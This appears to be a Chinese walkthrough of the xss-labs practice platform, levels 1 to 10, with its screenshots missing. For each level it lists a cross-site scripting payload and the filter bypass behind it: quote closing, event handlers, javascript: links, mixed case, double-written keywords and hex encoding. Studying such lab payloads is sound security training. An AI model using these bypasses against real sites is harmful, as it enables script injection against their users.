xss-labs通关
level1
首先打开题目得到:

发现有个参数test请求:
name=<script>alert(1)</script>
得到:

level2
发现题目:

有个搜索框是请求keyword,直接xss发现被转义:

但发现在" "处可以闭合"攻击
所以xss攻击:
"><script>alert(/xss/)</script>
得到:

level3
直接上xss攻击发现:

被转义了
看一下源码:

发现对双引号 " 做了限制,但是却放行了单引号 ’
所以在:

进行xss攻击,’ 闭合
'οnmοuseοver='alert(/xss/)
需要移动鼠标在文本框触发事件:

level4:
直接上xss攻击:
<script>alert(/xss/)</script>
发现没有反应看源码:

发现过滤,但有一处:

只过滤了<>,所以绕过<>
用上一题的方法," 闭合,触发事件:
"οnmοuseοver="alert(/xss/)

level5
先上xss攻击看看:
发现:

发现被做手脚
在尝试事件触发:

发现也被做手脚
但发现在 " 没有被转义就换个方式,"闭合:
javascript 的伪协议:
"><a href=javascript:alert(/xss/)>
得到: "> 点击触发:

level6:
发现和上一题过滤差不多,但把href也过滤了
所以,换个思路
试试能不能大小绕过发现成功了:
"><sCrIpt>alert(/xss/)</Script>
需要注意 "> 闭合

level7
进行各种尝试发现是双写绕过:
"> 闭合xss攻击:
"><scrscriptipt>alert(/xss/)</scrscriptipt>

level8:
进行各种测试发现啥也不是,是编码绕过
利用hex编码绕过,因为有<a>标签
所以利用javascript伪协议绕过:
javascript:alert(/xss/)

level9:
还是先进行各种测试发现都是:

看源码:

发现必须有: http://
和上一题一样,但要有http://
javascript:alert('http://')

level10
还是先进行各种测试发现都没有
在看源码发现隐藏的东西:

三个输入但看源码发现:

就第三个有用,利用事件触发:
先修改为hidden为text:

让输入框出来,在xss攻击:
" οnmοuseοver="alert(/xss/)
传入值后发现还被隐藏,在此修改为:test

触发事件:

参考连接:
https://blog.csdn.net/ruoli_s/article/details/112690177










